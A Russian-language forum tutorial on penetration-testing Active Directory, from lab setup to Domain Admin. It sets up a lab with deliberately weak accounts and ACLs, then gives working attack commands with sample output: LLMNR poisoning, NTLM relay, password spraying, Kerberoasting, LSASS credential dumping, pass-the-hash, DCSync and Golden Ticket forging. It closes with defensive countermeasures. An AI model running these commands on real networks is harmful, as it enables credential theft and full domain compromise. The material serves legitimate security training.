

Статья Пентест Active Directory: полный гайд от разведки до Domain Admin в 2026

 codeby.net/threads/pentest-active-directory-polnyi-gaid-ot-razvedki-do-domain-admin-v-2026.92603

tatagaspadar

April 8, 2026



Большинство русскоязычных материалов по пентесту Active Directory обрывается на стадии разведки или превращается в безликий чек-лист без единой команды. Знакомо? Я провёл десятки внутренних пентестов, где путь от доменного пользователя до Domain Admin занимал от пятнадцати минут до двух дней - и каждый раз цепочка была воспроизводима. Пятнадцать минут - это не хвостовство, а показатель того, насколько типовые мисконфиги до сих пор живут в продакшене. Здесь разберу полный цикл AD exploitation (для общей карты техник и обзора инструментов - [пентест Active Directory от разведки до Domain Admin](#)): [от первого nmap-скана до DCSync](#), с конкретными командами, объяснением флагов и разбором ошибок, на которых спотыкаются даже опытные пентестеры.

Лабораторная среда: что поднять перед началом

Прежде чем запускать BloodHound на продакшен-домене клиента, отработайте цепочку на стенде. Лаба, которую я использую - минимальная, но покрывает все нужные сценарии:

- **DC01** - Windows Server 2022 с ролью AD DS, DNS. Домен: lab.local
- **SRV01** - Windows Server 2019, член домена. На нём крутится сервис с SPN (для Kerberoasting)
- **WS01** - Windows 10/11 Pro, рабочая станция домена

- **Attacker** - Kali Linux / Parrot с установленными Impacket, BloodHound, Responder, NetExec (пхс, активный форк CrackMapExec), Rubeus

Намеренно уязвимая конфигурация - задаём через PowerShell на DC01:

Код:

```
# Включаем LLMNR (по умолчанию включён, но убедимся)
# GP0: Computer Configuration -> Administrative Templates -> Network -> DNS Client
# "Turn off multicast name resolution" = Not Configured

# Создаём сервисный аккаунт с SPN и слабым паролем
New-ADUser -Name "svc_backup" -SamAccountName svc_backup -AccountPassword
(ConvertTo-SecureString "Backup2023!" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity svc_backup -ServicePrincipalNames
@{Add="MSSQLSvc/srv01.lab.local:1433"}

# Отключаем Kerberos Pre-Authentication для одного пользователя (AS-REP Roasting)
Set-ADAccountControl -Identity "testuser" -DoesNotRequirePreAuth $true

# Добавляем ACL abuse: пользователь может менять пароль другому
$targetDN = (Get-ADUser svc_backup).DistinguishedName
$attackerSID = (Get-ADUser "youruser").SID
$acl = Get-Acl "AD:\$targetDN"
# ACE 1: ForceChangePassword (для сценария сброса пароля)
# 5-параметровый конструктор: (identity, adRights, type, objectType,
inheritanceType)
$ace1 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($attackerSID,
"ExtendedRight", "Allow", [GUID]"00299570-246d-11d0-a768-00aa006e0529", "None")
$acl.AddAccessRule($ace1)
# ACE 2: GenericWrite (для сценария Targeted Kerberoasting - запись SPN)
$ace2 = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($attackerSID,
"GenericWrite", "Allow", "None")
$acl.AddAccessRule($ace2)
Set-Acl "AD:\$targetDN" $acl
```

Такая лаба покрывает Kerberoasting, AS-REP Roasting, LLMNR poisoning, ACL abuse и lateral movement - хватит за глаза для отработки полного цикла.

Фаза 1 - AD разведка: инструменты и техники перечисления

Сетевая разведка: находим контроллер домена

Первое действие после подключения к внутренней сети - определить, где стоит Domain Controller. Контроллер домена слушает характерный набор портов, и nmap с правильными флагами найдёт его за секунды:

Bash:

```
# Быстрый скан подсети на ключевые порты AD
nmap -sS -T4 -p 53,88,135,139,389,445,636,3268,3269 10.10.10.0/24 --open -oG
dc_scan.txt
```

```
# Порт 88 (Kerberos) + 389 (LDAP) = почти гарантированно DC
grep "88/open.*389/open" dc_scan.txt
```

Почему именно эти порты: 88 - Kerberos (только DC), 389 - LDAP, 636 - LDAPS, 3268/3269 - Global Catalog. Если видите все пять на одном хосте - перед вами контроллер домена. Тут не угадаешь неправильно.

Дополнительная верификация через DNS:

Bash:

```
# Запрос SRV-записей - работает даже без учётных данных
nslookup -type=srv _ldap._tcp.dc._msdcs.lab.local 10.10.10.1
```

Перечисление без учётных данных

Даже до получения первого пароля можно вытянуть массу информации. В black-box сценарии начинаем с проверки анонимного доступа к LDAP и SMB-шарам - удивительно, как часто это работает.

Bash:

```
# Проверка анонимного LDAP bind
ldapsearch -x -H ldap://10.10.10.1 -b "DC=lab,DC=local" -s base "(objectclass=*)"
2>/dev/null
```

```
# enum4linux-ng - комплексная разведка без аутентификации
enum4linux-ng -A 10.10.10.1
```

```
# Проверка анонимного доступа к SMB-шарам
smbclient -L //10.10.10.1 -N
```

Особое внимание - шарам SYSVOL и NETLOGON. В них иногда валяются скрипты развёртывания с хардкоженными паролями. Я лично находил в SYSVOL файлы Groups.xml от старых GPP-политик с зашифрованными паролями (ключ шифрования Microsoft сама опубликовала - расшифровка тривиальна через gpp-decrypt). Подарок, который продолжает дарить.

BloodHound: строим граф атаки

Вот где пентест Active Directory превращается из набора команд в стратегию. BloodHound визуализирует связи между объектами домена и автоматически находит пути эскалации привилегий. На практике это выглядит так: низкопривилегированный пользователь может записывать данные в сервисный аккаунт из группы Backup Operators, а тот ведёт напрямую к Domain Admin. Руками такую цепочку через три-четыре промежуточных объекта - хрен найдёшь.

Сбор данных - коллектором SharpHound (с Windows-хоста) или bloodhound-python (с Linux):

Bash:

```
# Сбор данных с Linux (нужны учётные данные доменного пользователя)
bloodhound-python -u 'youruser' -p 'Password1' -d lab.local -ns 10.10.10.1 -c All

# SharpHound с Windows (из-под доменного пользователя)
# .\SharpHound.exe -c All --zipfilename loot.zip
```

Флаг -c All собирает сессии, ACL, группы, трасты, контейнеры - полный датасет. После загрузки JSON-файлов в интерфейс BloodHound используйте встроенные запросы:

- «Find Shortest Paths to Domain Admins» - отправная точка любого анализа
- «Find AS-REP Roastable Users» - пользователи без Pre-Authentication
- «Find Kerberoastable Users» - аккаунты с SPN
- «Shortest Paths from Owned Principals» - после пометки захваченных аккаунтов показывает кратчайший путь дальше

Лично у меня привычка - помечать каждый захваченный аккаунт как «Owned» и пересчитывать пути. Хаотичный пентест превращается в целенаправленное продвижение по графу. Работаешь не вслепую, а по карте.

Фаза 2 - Получение первого доступа в домене

LLMNR/NBT-NS Poisoning с Responder

Классика active directory pentest, которая работает в большинстве корпоративных сетей до сих пор. Техника маппится на MITRE ATT&CK T1557.001 ([LLMNR/NBT-NS Poisoning and SMB Relay](#)) - тактики Credential Access и Collection.

Суть: Windows-машины при неудачном DNS-резолве отправляют широковещательные запросы LLMNR/NBT-NS. Responder отвечает на них и перехватывает NTLMv2-хеши. Тупо сидим и ждём, пока кто-то опечатается в имени шары.

Bash:

```
# Запуск Responder на интерфейсе eth0
sudo responder -I eth0 -wrfv

# Ждём. Когда пользователь откроет несуществующую шару или браузер попытается
# найти WPAD - поймает хеш:
# [+] Listening for events...
# [SMB] NTLMv2-SSP Client      : 10.10.10.50
# [SMB] NTLMv2-SSP Username   : LAB\jsmith
# [SMB] NTLMv2-SSP Hash       : jsmith::LAB:1122334455667788:AB9C...
```

Полученный хеш - в Hashcat:

Bash:

```
# Режим 5600 = NTLMv2
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --rules-file
/usr/share/hashcat/rules/best64.rule
```

Если SMB Signing не включён на целевых хостах (а на рабочих станциях он по умолчанию отключён), вместо взлома хеша можно сделать NTLM Relay - передать аутентификацию на другой хост:

Bash:

```
# Найти хосты без SMB Signing
netexec smb 10.10.10.0/24 --gen-relay-list targets_nosigning.txt

# NTLM Relay через Impacket
impacket-ntlmrelayx -tf targets_nosigning.txt -smb2support
```

Password Spraying через CrackMapExec

Когда Responder не приносит результатов (сеть сегментирована, LLMNR отключён), переходим к password spraying. Главное - не заблокировать аккаунты, иначе утром вас будет искать не только SOC:

Bash:

```
# Сначала получаем парольную политику (netexec - активный форк архивированного
crackmapexec)
netexec smb 10.10.10.1 -u '' -p '' --pass-pol

# Если lockout threshold = 5 попыток, делаем НЕ БОЛЕЕ 2-3 попыток на аккаунт
# Собираем список пользователей через Kerbrute
# Сначала определите формат именования (через OSINT, LinkedIn, email-формат),
# затем сгенерируйте целевой список (например, через namemash.py).
# Использование общих интернет-списков (xato-net-10M) создаст огромный шум в логах.
kerbrute userenum --dc 10.10.10.1 -d lab.local generated_users.txt

# Спреим один пароль по всем пользователям
netexec smb 10.10.10.1 -u users.txt -p 'Company2025!' --no-bruteforce
```

В реальных engagement'ах комбинации вида Company + сезон + год (Winter2025!, Summer2024!) срабатывают пугающе часто. Люди предсказуемы - и это лучший друг пентестера.

AS-REP Roasting без учётных данных

Если BloodHound или перечисление LDAP показали пользователей с отключённой Kerberos Pre-Authentication, можно запросить TGT и взломать его офлайн:

Bash:

```
# Через Impacket (без учётных данных - достаточно знать имена пользователей)
impacket-GetNPUsers lab.local/ -usersfile users.txt -dc-ip 10.10.10.1 -format
hashcat -outputfile asrep_hashes.txt
```

```
# Взлом полученных хешей
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
```

Режим 18200 в Hashcat = Kerberos 5 AS-REP etype 23. AS-REP Roasting встречается реже, чем Kerberoasting, но когда встречается - пароли сервисных аккаунтов зачастую слабые. Кто-то когда-то снял галочку Pre-Auth «для совместимости» и забыл. Бывает.

Фаза 3 - Privilege Escalation в Active Directory

Kerberoasting: атака на сервисные аккаунты

Kerberoasting - одна из самых результативных атак при AD exploitation. Любой доменный пользователь может запросить TGS-тикет для сервисного аккаунта с SPN, а тикет зашифрован хешем пароля этого аккаунта. Расшифровал - получил пароль. Bash:

```
# Через Impacket (нужны любые доменные учётные данные)
impacket-GetUserSPNs lab.local/jsmith:'Password1' -dc-ip 10.10.10.1 -request -
outputfile kerberoast_hashes.txt
```

```
# Что увидим:
# ServicePrincipalName      Name      MemberOf
PasswordLastSet
# -----
# MSSQLSvc/srv01.lab.local:1433      svc_backup      CN=Backup Operators,CN=...
2024-01-15 10:30:22
```

```
# Взлом
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
```

Режим 13100 = Kerberos 5 TGS-REP etype 23 (RC4). Если домен использует AES-шифрование для TGS (etype 17/18), это режимы 19600/19700 - взлом будет значительно медленнее, но не невозможен.

Обратите внимание на поле PasswordLastSet. Если пароль установлен в 2024 году - ладно. Но я видел сервисные аккаунты с паролями от 2016-го. Восемь лет один и тот же Service123!. Администраторы ставят на сервисные аккаунты простые пароли и забывают их менять годами - Kerberoasting атака именно на этом и паразитирует.

ACL Abuse: эскалация через права на объекты AD

Граф BloodHound часто показывает неочевидные пути через ACL-привилегии. Вот наиболее опасные права и что с ними делать:

Право	Что даёт атакующему	Как эксплуатировать
-------	---------------------	---------------------

GenericAll	Полный контроль над объектом	Сброс пароля, запись SPN, добавление в группу
GenericWrite	Запись произвольных атрибутов	Запись SPN → Kerberoasting целевого аккаунта
WriteDacl	Изменение ACL объекта	Выдать себе GenericAll, затем злоупотребить
ForceChangePassword	Сброс пароля без знания текущего	Прямой сброс через net rpc
WriteOwner	Смена владельца объекта	Стать владельцем → изменить ACL

Пример эскалации через GenericWrite - ставим целевому пользователю SPN и делаем Targeted Kerberoasting:

Bash:

```
# Через PowerView (из-под скомпрометированного пользователя с правом GenericWrite)
# Set-DomainObject -Identity svc_backup -Set
@{serviceprincipalname='nonexist/YOURFAKESPN'}
```

```
# Или через bloodyAD с Linux (установка SPN на целевой аккаунт)
bloodyAD -u jsmith -p 'Password1' -d lab.local --host 10.10.10.1 set object
svc_backup servicePrincipalName -v 'nonexist/YOURFAKESPN'
```

```
# Далее запрашиваем TGS для этого SPN и ломаем офлайн
impacket-GetUserSPNs lab.local/jsmith:'Password1' -dc-ip 10.10.10.1 -request -
outputfile targeted_kerberoast.txt
```

Фаза 4 - Lateral Movement в AD-среде

Pass-the-Hash атака через Impacket

Pass-the-Hash - техника, при которой NTLM-хеш используется вместо пароля для аутентификации. Получили хеш (например, из дампа LSASS на скомпрометированном хосте) - ломать его не надо, можно сразу идти дальше.

Bash:

```
# Дамп NTLM-хешей из памяти LSASS (нужны локальные админские права)
# -M lsassy - извлекает NTLM-хеши доменных аккаунтов с активными сессиями (пригодны для PtH)
# --sam - дампит локальные NTLM-хеши из SAM (пригодны для PtH на локальных аккаунтах)
# --lsa - дампит LSA secrets: кэшированные доменные учётки в формате DCC2 (HE
```

пригодны для PtH, только брут hashcat -m 2100) и plaintext-пароли сервисов
netexec smb 10.10.10.50 -u 'jsmith' -p 'Password1' -M lsassy

Получаем NTLM-хеш доменного аккаунта:

```
aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f
```

Pass-the-Hash через psexec.py

```
impacket-psexec lab.local/administrator@10.10.10.50 -hashes
```

```
aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f
```

Альтернативы psexec.py - для снижения шума:

Bash:

wmiexec - не создаёт сервис, работает через WMI

```
impacket-wmiexec lab.local/administrator@10.10.10.50 -hashes
```

```
:7a21990fcd3d759941e45c490f143d5f
```

smbexec - создаёт сервис, но выполнение через cmd.exe

```
impacket-smbexec lab.local/administrator@10.10.10.50 -hashes
```

```
:7a21990fcd3d759941e45c490f143d5f
```

Каждый метод оставляет разные артефакты: psexec.py создаёт сервис и пишет файл на диск, wmiexec.py работает через WMI и светится в логах WMI, smbexec.py создаёт временный сервис. Выбор зависит от того, насколько злой SOC у клиента. Лично я начинаю с wmiexec - он тише всех.

Pass-the-Ticket с Rubeus

Если работаете с Windows-хоста внутри домена, Rubeus позволяет извлекать и инжектировать Kerberos-тикеты:

Код:

Извлечение всех тикетов из памяти (требует привилегий)

```
Rubeus.exe triage
```

```
Rubeus.exe dump /nowrap
```

Инъект тикета в текущую сессию

```
Rubeus.exe ptt /ticket:doIFMj...base64...
```

После инъекта - доступ к ресурсам от имени владельца тикета

```
dir \\DC01.lab.local\C$
```

Pass-the-Ticket отличается от Pass-the-Hash тем, что работает с Kerberos-тикетами, а не NTLM-хешами. Это критично в средах, где NTLM отключён или ограничен - а такое всё чаще встречается в зрелых инфраструктурах.

Фаза 5 - Domain Dominance: DCSync и критические CVE

DCSync атака - получение всех хешей домена

DCSync - атака, при которой злоумышленник имитирует контроллер домена и запрашивает репликацию паролей. Для этого нужны права Replicating Directory Changes и Replicating Directory Changes All - они есть у Domain Admins, Enterprise Admins и аккаунтов DC.

Bash:

```
# DCSync через secretsdump (Impacket)
impacket-secretsdump lab.local/administrator:'AdminPass1'@10.10.10.1

# Или с Pass-the-Hash
impacket-secretsdump lab.local/administrator@10.10.10.1 -hashes
:7a21990fcd3d759941e45c490f143d5f

# Вывод:
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
#
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a21990fcd3d759941e45c490f143d5f
:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
```

Хеш krbtgt - ключ ко всему домену. С ним можно создать Golden Ticket и получать доступ к любому ресурсу неограниченно долго. Это конечная точка пентеста Active Directory. Game over.

Bash:

```
# Создание Golden Ticket через Impacket
impacket-ticketer -nthash e19ccf75ee54e06b06a5907af13cef42 -domain-sid S-1-5-21-
XXXXXXXXXX -domain lab.local Administrator

# Использование
export KRB5CCNAME=Administrator.ccache
impacket-psexec lab.local/Administrator@DC01.lab.local -k -no-pass
```

Критические CVE для AD-пентеста

Перед эксплуатацией мисконфигов всегда проверяю, не уязвим ли домен к известным CVE. Ниже - те, что я проверяю на каждом engagement'e:

Zerologon (CVE-2020-1472) - NVD содержит только CNA-оценку от Microsoft: CVSS 5.5 (MEDIUM), вектор: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - эта оценка явно не соответствует описанному в NVD вектору атаки (неаутентифицированный сетевой доступ через MS-NRPC). NIST не предоставил собственную оценку в NVD. Microsoft в собственном advisory MSRC оценивает уязвимость как CVSS 10.0 (CRITICAL) с вектором CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (NVD CVSS:

5.5 MEDIUM - CNA-оценка Microsoft, вероятно ошибочная; Microsoft MSRC CVSS: 10.0 CRITICAL). Именно оценку MSRC используют Secura и сообщество безопасности, поскольку она соответствует фактическому сценарию эксплуатации: неаутентифицированный атакующий по сети через MS-NRPC может получить доступ уровня Domain Admin к контроллеру домена. Уязвимость включена в [каталог CISA Known Exploited Vulnerabilities](#). Затрагивает Windows Server 2008 R2, 2012, 2012 R2, 2016, 2019, а также Semi-Annual Channel версии 1903, 1909, 2004, 20H2 (согласно Microsoft advisory; NVD CPE-список может быть неполным).

PrintNightmare (CVE-2021-34527) - CVSS 8.8 (HIGH), вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Удалённое выполнение кода через Windows Print Spooler. Атакующий с низкими привилегиями (PR:L) может выполнить произвольный код с правами SYSTEM. Затрагивает Windows 10 (1507, 1607, 1809, 20H2, 21H2) и серверные версии.

PetitPotam (CVE-2021-36942 / CVE-2022-26925) - CVE-2021-36942: CVSS 7.5 (HIGH), Windows LSA Spoofing - частичный патч для техники PetitPotam, закрывающий вызов EfsRpcOpenFileRaw; другие EFS RPC функции могут оставаться доступными. CVE-2022-26925: CVSS 8.1 (HIGH), вектор: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-306 (Missing Authentication for Critical Function) - отдельная уязвимость LSA Spoofing, требующая высокой сложности атаки (AC:H). CVE-2021-36942 позволяет неаутентифицированному атакующему принудить DC к NTLM-аутентификации (impact только на конфиденциальность - C:H, без I/A). Сама по себе это утечка NTLM-хеша; для полной компрометации домена нужна связка с NTLM Relay на AD CS (ESC8) или другой сервис. CVE-2022-26925 - отдельная уязвимость LSA Spoofing с аналогичным вектором принуждения, но с impact на C и I (AC:H). Обе затрагивают Windows Server 2008–2022.

NoPac (CVE-2021-42278 + CVE-2021-42287) - связка из двух уязвимостей, обе с CVSS 7.5 (HIGH), вектор: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H. CVE-2021-42278 - подмена SamAccountName, CVE-2021-42287 - elevation of privilege через Kerberos PAC. Эксплуатация требует низких привилегий (PR:L), но высокой сложности (AC:H). Затрагивает Windows Server 2008–2022.

Certifried (CVE-2022-26923) - CVSS 8.8 (HIGH), вектор: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, CWE-295 (Improper Certificate Validation). Elevation of privilege через Active Directory Certificate Services. Низкие привилегии достаточны для эксплуатации. Затрагивает Windows 10 и серверные версии.

BlueKeep (CVE-2019-0708) - не AD-специфичная, но полезна для initial access/lateral movement. CVSS 9.8 (CRITICAL), вектор:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, CWE-416 (Use After Free).
Удалённое выполнение кода через RDP без аутентификации. Согласно NVD, затрагивает Windows 7 и Windows Server 2008/2008 R2. Microsoft также выпустила внеплановые патчи для Windows XP и Server 2003, которые формально вышли из поддержки. Старая, но до сих пор встречается на непатченных серверах - особенно в сетях с «историческим наследием».

SMBGhost (CVE-2020-0796) - не AD-специфичная, но полезна для initial access/lateral movement. CVSS 10.0 (CRITICAL), вектор:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N, CWE-119 (Improper Restriction of Operations within the Bounds of a Memory Buffer). Удалённое выполнение кода через SMBv3. Без аутентификации, без взаимодействия пользователя, с выходом за границу Scope (S:C). Затрагивает Windows 10 1903/1909.

Проверка на уязвимости:

Bash:

```
# Zerologon - проверка через скрипт Secura (https://github.com/SecuraBV/CVE-2020-1472)
python3 zerologon_tester.py DC01 10.10.10.1
```

```
# PrintNightmare - проверка доступности Print Spooler (не наличия патча)
netexec smb 10.10.10.1 -u 'jsmith' -p 'Password1' -M printnightmare
# Для более точной проверки: rpcdump.py 10.10.10.1 | grep MS-RPRN
```

```
# PetitPotam - проверка без аутентификации
python3 PetitPotam.py -d lab.local 10.10.10.100 10.10.10.1
# (10.10.10.100 = ваш listener, 10.10.10.1 = DC)
```

Полный чек-лист пентеста AD: от разведки до DA

Сжатая версия всего, что описано выше, плюс моменты, которые часто упускают:

Фаза	Действие	Инструмент	Приоритет
Разведка	Скан портов 88, 389, 445	nmap	Высокий
Разведка	Перечисление пользователей	enum4linux-ng, Kerbrute	Высокий
Разведка	Сбор данных для графа атаки	BloodHound + SharpHound	Высокий

Разведка	Проверка парольной политики	NetExec --pass-pol	Средний
Initial Access	LLMNR/NBT-NS Poisoning	Responder	Высокий
Initial Access	Password Spraying	NetExec	Средний
Initial Access	AS-REP Roasting	impacket-GetNPUsers	Средний
Initial Access	Проверка критических CVE	Metasploit, PoC-скрипты	Высокий
Privilege Escalation	Kerberoasting	impacket-GetUserSPNs	Высокий
Privilege Escalation	ACL Abuse по графу BloodHound	PowerView, Impacket	Высокий
Privilege Escalation	Поиск паролей в SYSVOL/GPP	gpp-decrypt, smbclient	Средний
Privilege Escalation	Unconstrained Delegation abuse	Rubeus monitor	Средний
Lateral Movement	Pass-the-Hash	impacket-psexec / wmiexec	Высокий
Lateral Movement	Pass-the-Ticket	Rubeus ptt	Средний
Lateral Movement	Поиск сессий DA на хостах	BloodHound, NetExec	Высокий
Domain Dominance	DCSync	impacket-secretsdump	Высокий
Domain Dominance	Golden Ticket	impacket-ticketer	По необходимости
Пост-эксплуатация	Дамп NTDS.DIT	impacket-secretsdump	По необходимости

Рекомендации по защите от эскалации привилегий

Каждый вектор атаки из этого гайда имеет конкретные контрмеры. Вот что реально работает - проверено на десятках engagement'ов:

Против LLMNR/NBT-NS Poisoning: отключите LLMNR через GPO (Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution = Enabled). Отключите NBT-NS на сетевых интерфейсах. Включите SMB Signing на всех хостах. Три действия - и Responder становится бесполезным.

Против Kerberoasting: используйте [групповые управляемые сервисные аккаунты](#) (gMSA) с автоматической ротацией 120-символьных паролей. Для обычных сервисных аккаунтов - пароли минимум 25 символов. Мониторьте запросы TGS для аккаунтов с SPN (Event ID 4769 с типом шифрования 0x17 = RC4).

Против DCSync: регулярно аудируйте права Replicating Directory Changes и Replicating Directory Changes All - они должны быть только у контроллеров домена и стандартных групп. Мониторьте Event ID 4662 с GUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes) и 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All) от аккаунтов, не являющихся контроллерами домена - именно эти два права необходимы для DCSync. Дополнительно можно мониторить 89e95b76-444d-4c62-991a-0facbeda640c (DS-Replication-Get-Changes-In-Filtered-Set), который относится к репликации на RODC.

Против Pass-the-Hash: внедрите [Credential Guard](#) (Windows 10+/Server 2016+), ограничьте привилегированные учётные записи tier-моделью (не логиньтесь DA-аккаунтом на рабочие станции - серьёзно, это до сих пор самая частая ошибка), используйте LAPS для управления паролями локальных администраторов.

Заключение

Пентест Active Directory - это цепочка, где каждый шаг создаёт возможность для следующего. Responder ловит хеш → Hashcat извлекает пароль → BloodHound показывает путь через ACL к сервисному аккаунту → Kerberoasting даёт хеш привилегированного аккаунта → lateral movement через Impacket приводит на хост с сессией Domain Admin → DCSync завершает цепочку.

Начните с лабораторного стенда - конфиг в начале статьи поднимается за час. Отработайте каждую фазу отдельно, затем объедините в полную цепочку. Если вы дочитали до этого места и ещё не развернули лабу - сделайте это сегодня. Потренировавшись на кошках, будете чувствовать себя увереннее на реальном engagement'e. Теория без практики в AD-пентесте не стоит ничего.

Последнее редактирование модератором: